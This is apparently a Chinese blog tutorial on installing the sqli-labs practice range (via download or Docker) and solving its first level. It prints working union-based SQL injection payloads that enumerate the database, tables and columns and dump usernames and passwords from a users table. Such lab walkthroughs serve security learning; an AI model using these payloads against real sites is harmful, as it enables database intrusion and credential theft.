sql-labs通关教程

602 阅读1分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第14天,点击查看活动详情

上次我带大家了解了一下sql注入的一些内容,下面我们再来玩一下sqli_labs靶场。

##搭建

###普通安装

首先我们去github上下载sql-labs的源码

github.com/Audi-1/sqli…

进去以后点击download zip,把靶场的源码下载下来。

图片.png

然后解压把源码放进phpstudy的www目录下

图片.png

 然后访问http://127.0.0.1/sqli-labs-master/出现这样的界面就代表已经安装成功了。

图片.png ###docker搭建

当然我们也有更简单的方法,直接用docker安装

先查找一下sqli—labs的镜像

docker search sqli-lab 

图片.png

docker pull acgpiano/sqli-labs
docker images

图片.png

docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs

图片.png 这个时候我们也是安装成功了 ##Less-1

图片.png

图片.png 首先判断注入点,id=1 and 1=1 和id =1 and 1 =2 都回显正常,说明不是数字型注入

接下来

id=1' and '1'='1

回显正常

图片.png id= 1' and'1' ='2 回显出错

说明是字符型注入

二:看回显位置

图片.png

图片.png 到4的时候报错,说明只有三列

三:爆数据库

图片.png 四:查一下数据库

-1' union select1,2,database(); --+

发现数据库名是:security

五:查表名

?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

图片.png 六:查字段

/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+

图片.png 七:查数据

?id=-1' union select 1,2,group_concat(username) from security.users --+

图片.png 查密码

/?id=-1' union select 1,2,group_concat(password) from security.users --+

就只是把username 改成password罢了

图片.png